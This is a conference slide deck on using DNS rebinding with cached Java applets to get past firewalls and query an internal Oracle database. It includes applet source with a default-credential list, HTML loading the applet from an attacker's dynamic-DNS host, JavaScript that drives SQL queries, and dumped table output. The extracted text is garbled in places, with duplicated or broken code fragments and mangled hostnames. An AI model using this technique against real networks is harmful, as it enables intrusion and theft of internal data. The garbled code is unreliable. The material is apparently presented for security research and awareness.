Slipping Past the Firewall
DNS Rebinding with Pure Java Applets

Billy K Rios (BK) and Nate McFeters
Overview

• Implications of DNS Rebinding Attacks
• The Attack
• Demo
• Final Thoughts
• Questions?
• Some Thoughts about Firewalls
  – “I prefer pwning the server :p”
  – Client Side Technologies
  – Heavy Doors with Open Windows
  – Sun Tzu was a Hacker…. 
Implication of DNS Rebinding Attacks

- JavaScript
  - Sockets?!?!?

- Flash
  - Sockets!

- LiveConnect (Firefox and other Gecko Based Browsers)
  - Sockets!
Why JAVA Applets?

• David Byrne
  – Java Applets? ….. Actually LiveConnect (Firefox only!)

Java Applet

Java Applet is relatively secure because the Java VM "pins" DNS by default. Sun's engineers know DNS Spoofing attack. InetAddress javadoc

--Quoted from the documentation--
The positive caching is there to guard against DNS spoofing attacks ...

networkaddress.cache.ttl (default: -1)
  A value of -1 indicates "cache forever".

But in some situations( LiveConnect or Using browser with proxy enabled ), Java
Why JAVA Applets?

- Princeton Computer Science PHDs?

Current versions of the JVM are not vulnerable to this attack because the Java security policy has been changed. Applets are now restricted to connecting to the IP address from which they were loaded. (Current attacks on Java are described in Section 3.2.)
Why JAVA Applets?

• Sockets!
• Abstraction
• Libraries / Classes
  – JDBC
  – SSL
  – Others
• Remote Control over Java Applet
The Attack - Setup

Oracle DB

XSSd Web Site

The Internet

Victim

Attacker
The Attack - Setup

C:\Documents and Settings\XY>java -version
java version "1.6.0_02"
Java(TM) SE Runtime Environment (build 1.6.0_02-b06)
Java HotSpot(TM) Client VM (build 1.6.0_02-b06, mixed
C:\Documents and Settings\XY>
The Attack - Setup

**Java Control Panel**

<table>
<thead>
<tr>
<th>General</th>
<th>Update</th>
<th>Java</th>
<th>Security</th>
<th>Advanced</th>
</tr>
</thead>
</table>

**About**

View version information about Java Control Panel.

**Network Settings**

Network settings are used when making Internet connections. By default, Java will use the network settings in your web browser. Only advanced users should modify these settings.

**Temporary Internet Files**

Files you use in Java applications are stored in a special folder for quick execution later. Only advanced users should delete files or modify these settings.
The Attack - Setup

Java Cache Viewer

Show: Applications

Cache Size: 0.0 KB

<table>
<thead>
<tr>
<th>Application</th>
<th>Vendor</th>
<th>Type</th>
<th>Date</th>
<th>Size</th>
<th>Status</th>
</tr>
</thead>
</table>

Close
The Attack - Setup

http://xssniper.gotdns.org/interaction/LiveConnectTest.html
The Attack - Setup

GET /interaction/LiveConnectTest.html HTTP/1.1
Accept: */*
Accept-Language: en-us
UA-CPU: x86
Accept-Encoding: gzip, deflate
If-Modified-Since: Tue, 28 Aug 2007 06:31:21 GMT
If-None-Match: "aaf743c3de9c71:8e2"
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows N7
Host: xssniper.gotdns.org
Proxy-Connection: Keep-Alive
Pragma: no-cache
The Attack - Setup

GET /interaction/LiveConnectTestApplet.class HTTP/1.1
User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_02
Host: xssniper.gotdns.org
Accept: text/html, image/gif, image/jpeg, *, q=.2, */*; q=.2
Proxy-Connection: keep-alive
HTTP/1.1 200 OK
Content-Length: 2261
Content-Type: application/x-java-applet
Expires: Thu, 18 Feb 2010 05:00:00 GMT
Last-Modified: Thu, 19 Apr 2007 01:34:36 GMT
Accept-Ranges: bytes
ETag: "68677fe32282c71:8f0"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Tue, 28 Aug 2007 07:02:22 GMT
GET /interaction/classes12.jar HTTP/1.1
accept-encoding: pack200-gzip, gzip
User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_01
Host: xssniper.gotdns.org
Accept: text/html, image/gif, image/jpeg, *, q=.2, */*; q=.2
Proxy-Connection: keep-alive
The Attack - Setup

HTTP/1.1 200 OK
Content-Length: 1931357
Content-Type: application/java-archive
Expires: Thu, 18 Feb 2010 05:00:00 GMT
Last-Modified: Thu, 19 Apr 2007 01:34:35 GMT
Accept-Ranges: bytes
ETag: "f2b66ee32282c71:8c6"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Tue, 05 Jun 2007 07:20:40 GMT
### The Attack - Setup

#### Java Cache Viewer

<table>
<thead>
<tr>
<th>Name</th>
<th>URL</th>
<th>Modified</th>
<th>Expired</th>
<th>Version</th>
<th>Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>classes12.jar</td>
<td><a href="http://xssniper">http://xssniper</a> godeal.org/interaction/classes12.jar</td>
<td>Apr 18, 2007</td>
<td>Feb 17, 2010</td>
<td></td>
<td>1.89 KB</td>
</tr>
<tr>
<td>LiveConnectTestApplet</td>
<td><a href="http://xssniper">http://xssniper</a> godeal.org/interaction/LiveConnectTestApplet.class</td>
<td>Apr 18, 2007</td>
<td>Feb 17, 2010</td>
<td></td>
<td>2.5 KB</td>
</tr>
</tbody>
</table>
The Attack - Setup

Java Cache Viewer

<table>
<thead>
<tr>
<th>Name</th>
<th>URL</th>
</tr>
</thead>
<tbody>
<tr>
<td>classes12.jar</td>
<td><a href="http://xssniper.gotdns.org/interaction/classes12.jar">http://xssniper.gotdns.org/interaction/classes12.jar</a></td>
</tr>
<tr>
<td>LiveConnectTestApplet........</td>
<td><a href="http://xssniper.gotdns.org/interaction/LiveConnectTestApplet.class">http://xssniper.gotdns.org/interaction/LiveConnectTestApplet.class</a></td>
</tr>
</tbody>
</table>
# The Attack - Setup

<table>
<thead>
<tr>
<th>Modified</th>
<th>Expired</th>
<th>Version</th>
<th>Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>Apr 18, 2007</td>
<td>Feb 17, 2010</td>
<td></td>
<td>1889 KB</td>
</tr>
<tr>
<td>Apr 18, 2007</td>
<td>Feb 17, 2010</td>
<td></td>
<td>2.5 KB</td>
</tr>
</tbody>
</table>

Cache Size: 1889 KB
### The Attack - Setup

**Modify Dynamic DNS xssniper.gotdns.org**

<table>
<thead>
<tr>
<th>IP in Database/DNS:</th>
<th>216.234.246.150</th>
</tr>
</thead>
<tbody>
<tr>
<td>Last Updated:</td>
<td>June 05, 2007 3:06:03 AM</td>
</tr>
<tr>
<td>New IP Address:</td>
<td>216.234.246.150</td>
</tr>
</tbody>
</table>

This is the IP address that your browser is reporting and may or may not be the same IP address currently in DNS.

<table>
<thead>
<tr>
<th>Enable Wildcard:</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Mail Exchanger (optional):</td>
<td></td>
</tr>
</tbody>
</table>

[Modify/Submit]
The Attack - Setup

- Offline Hostname, real IP

- IP Address:

192.168.91.130
The Attack - Setup

• Close The Browser
  – Closing the Browser Destroys the Instance of the JVM
  – Applet Remains cached till 2010

• Call an External Java Supported Application
  – Firefoxurl, Navigatorurl, Picasa…
  – Each Application has its own instance of the JVM
  – Applet Remains cached till 2010

• Load Different Versions of the JRE
  – Somewhat limited in newer versions of the JVM
  – Maybe removed in the future
  – Applet Remains cached till 2010
The Attack

// Import the java classes used in applets
import java.io.*;
import java.util.*;
import java.net.*;
import java.sql.*;

public class LiveConnectTestApplet extends java.applet.Applet
{

    // *****************************************
    // Start Oracle Attack info
    // *****************************************

    // List of Username and Passwords
    String[] DefaultCredsArray = {"test/test", "scott/tiger", "admin"};

    // Sting to pass data back to browser
    public String CredsList = "";

    // Public String Variable to hold the query data to be passed
    public String QueryData = "";
public void RunQuery(String SQL) {
    try {
        // See if we need to open the connection to the database
        if (conn != null) {
            // Create a statement
            Statement stmt = conn.createStatement();

            // Execute the query
            ResultSet rset = stmt.executeQuery(SQL);

            // Get the ResultSet Meta Data inorder to determine the number of columns
            ResultSetMetaData rsmd = rset.getMetaData();
            int columnCount = rsmd.getColumnCount();

            // Create a StringBuffer for the query results
            StringBuffer sbStr = new StringBuffer();

            // Prep the StringBuffer with the column names from the query results
            for (int col = 1; col <= columnCount; col++) {
                sbStr.append(rsmd.getColumnName(col) + "
");
            }
            sbStr.append("\n");

            // Fill the StringBuffer with the results from the query
            while (rset.next()) {
                for (int col = 1; col <= columnCount; col++) {
                    sbStr.append(rset.getString(col) + "\t");
                }
                sbStr.append("\n");
            }

            System.out.println(sbStr.toString());
            QueryData = sbStr.toString();
        }
    } // End of if (conn!=null )
}

// End of try
public void RunQuery(String SQL) {
  try {
}
// Fill the StringBuffer with the results from the query
while (rset.next()) {
    for (int col = 1; col <= columnCount; col++) {
        strb.append(rset.getString(col) + "\t");
    }
    strb.append("\n");
}
System.out.println(strb.toString());
QueryData = strb.toString();
} // End of if ( conn!=null )
The Attack

<html>
<body>
<applet code="LiveConnectTestApplet" NAME="LiveConnectTest" ARCHIVE="classes12.jar" CODEBASE="http://xssniper.gotdns.org/interaction/" width=500 height=200>
<PARAM NAME="cache_option" VALUE="browser">
</applet>
</body>
</html>
The Attack

<script>
setTimeout('SQLErr()', 15000);
setTimeout('getData()', 25000);

function SQLErr(){
document.LiveConnectTest.RunQuery("select * from user_tables");
}

function getData(){
alert(document.LiveConnectTest.QueryData);
}
</script>
The Attack

Java Console

Trace level set to 5: all ... completed.
network: Connecting socket://xsniwr:dt8d8.org:1521 with proxy=DIRECT
network: Connecting socket://192.168.91.130:1047 with proxy=DIRECT

<table>
<thead>
<tr>
<th>TABLE_NAME</th>
<th>TABLESPACE_NAME</th>
<th>CLUSTER_NAME</th>
<th>IOT_NAME</th>
<th>PCT_FREE</th>
<th>PCT_USED</th>
<th>INI_TRANS</th>
<th>MAX_TRANS</th>
<th>INITIAL_EXTENT</th>
<th>NEXT_EXTENT</th>
</tr>
</thead>
<tbody>
<tr>
<td>ACCOUNT</td>
<td>SYSTEM</td>
<td>null</td>
<td>10</td>
<td>40</td>
<td>1</td>
<td>2553</td>
<td>65536</td>
<td>65536</td>
<td>1</td>
</tr>
<tr>
<td>BONUS</td>
<td>SYSTEM</td>
<td>null</td>
<td>10</td>
<td>40</td>
<td>1</td>
<td>2553</td>
<td>65536</td>
<td>65536</td>
<td>1</td>
</tr>
<tr>
<td>DEPT</td>
<td>SYSTEM</td>
<td>null</td>
<td>10</td>
<td>40</td>
<td>1</td>
<td>2553</td>
<td>65536</td>
<td>65536</td>
<td>1</td>
</tr>
<tr>
<td>EMP</td>
<td>SYSTEM</td>
<td>null</td>
<td>10</td>
<td>40</td>
<td>1</td>
<td>2553</td>
<td>65536</td>
<td>65536</td>
<td>1</td>
</tr>
<tr>
<td>RECEIPT</td>
<td>SYSTEM</td>
<td>null</td>
<td>10</td>
<td>40</td>
<td>1</td>
<td>2553</td>
<td>65536</td>
<td>65536</td>
<td>1</td>
</tr>
<tr>
<td>SALGRADE</td>
<td>SYSTEM</td>
<td>null</td>
<td>10</td>
<td>40</td>
<td>1</td>
<td>2553</td>
<td>65536</td>
<td>65536</td>
<td>1</td>
</tr>
</tbody>
</table>

liveconnect: Getting property: public java.lang.String LiveConnectTestApplet.SniperData

Clear  Copy  Close
### The Attack

<table>
<thead>
<tr>
<th>TABLE_NAME</th>
<th>TABLESPACE_NAME</th>
<th>CLUSTER_NAME</th>
<th>IOT_NAME</th>
<th>PCT_FREE</th>
<th>PCT_USED</th>
<th>INIT_TRANS</th>
<th>MAX_TRANS</th>
<th>INITIAL EXTENT</th>
<th>NEXT EXTENT</th>
<th>MIN_EXTENTS</th>
<th>MAX_EXTENTS</th>
<th>PCT_INCREASE</th>
<th>FREELISTS</th>
<th>FREELIST_GROUPS</th>
<th>LOGGING</th>
<th>BACKED_UP</th>
</tr>
</thead>
<tbody>
<tr>
<td>DEPT</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>50</td>
<td>1</td>
<td>1</td>
<td>N</td>
<td>null</td>
<td>null</td>
<td>N</td>
<td>NO</td>
<td>DEFAULT_DISABLED</td>
<td>null</td>
<td>null</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>10</td>
<td>40</td>
<td>1</td>
<td>1</td>
<td>null</td>
<td>null</td>
<td>N</td>
<td>NO</td>
<td>DEFAULT_DISABLED</td>
<td>null</td>
<td>null</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>null</td>
<td>null</td>
<td>null</td>
<td>null</td>
<td>null</td>
<td>null</td>
<td>N</td>
<td>NO</td>
<td>DEFAULT_DISABLED</td>
<td>null</td>
<td>null</td>
</tr>
<tr>
<td>EMP</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>50</td>
<td>1</td>
<td>1</td>
<td>N</td>
<td>null</td>
<td>null</td>
<td>N</td>
<td>NO</td>
<td>DEFAULT_DISABLED</td>
<td>null</td>
<td>null</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>10</td>
<td>40</td>
<td>1</td>
<td>1</td>
<td>null</td>
<td>null</td>
<td>N</td>
<td>NO</td>
<td>DEFAULT_DISABLED</td>
<td>null</td>
<td>null</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>null</td>
<td>null</td>
<td>null</td>
<td>null</td>
<td>null</td>
<td>null</td>
<td>N</td>
<td>NO</td>
<td>DEFAULT_DISABLED</td>
<td>null</td>
<td>null</td>
</tr>
<tr>
<td>EMPLOYEE</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>50</td>
<td>1</td>
<td>1</td>
<td>N</td>
<td>null</td>
<td>null</td>
<td>N</td>
<td>NO</td>
<td>DEFAULT_DISABLED</td>
<td>null</td>
<td>null</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>10</td>
<td>40</td>
<td>1</td>
<td>1</td>
<td>null</td>
<td>null</td>
<td>N</td>
<td>NO</td>
<td>DEFAULT_DISABLED</td>
<td>null</td>
<td>null</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>null</td>
<td>null</td>
<td>null</td>
<td>null</td>
<td>null</td>
<td>null</td>
<td>N</td>
<td>NO</td>
<td>DEFAULT_DISABLED</td>
<td>null</td>
<td>null</td>
</tr>
<tr>
<td>INSPACE</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>50</td>
<td>1</td>
<td>1</td>
<td>N</td>
<td>null</td>
<td>null</td>
<td>N</td>
<td>NO</td>
<td>DEFAULT_DISABLED</td>
<td>null</td>
<td>null</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>10</td>
<td>40</td>
<td>1</td>
<td>1</td>
<td>null</td>
<td>null</td>
<td>N</td>
<td>NO</td>
<td>DEFAULT_DISABLED</td>
<td>null</td>
<td>null</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>null</td>
<td>null</td>
<td>null</td>
<td>null</td>
<td>null</td>
<td>null</td>
<td>N</td>
<td>NO</td>
<td>DEFAULT_DISABLED</td>
<td>null</td>
<td>null</td>
</tr>
</tbody>
</table>
Remotely Controlling the Applet

• Script Src
  – Remote JavaScript is loaded Via Script Src
  – Dynamic Content (Despite Caching)

• JavaScript / Java Applet Interaction
  – Public Methods
  – Public Variables

• Remote Control Through an XSS Proxy (XS-Sniper)
Questions and Final Thoughts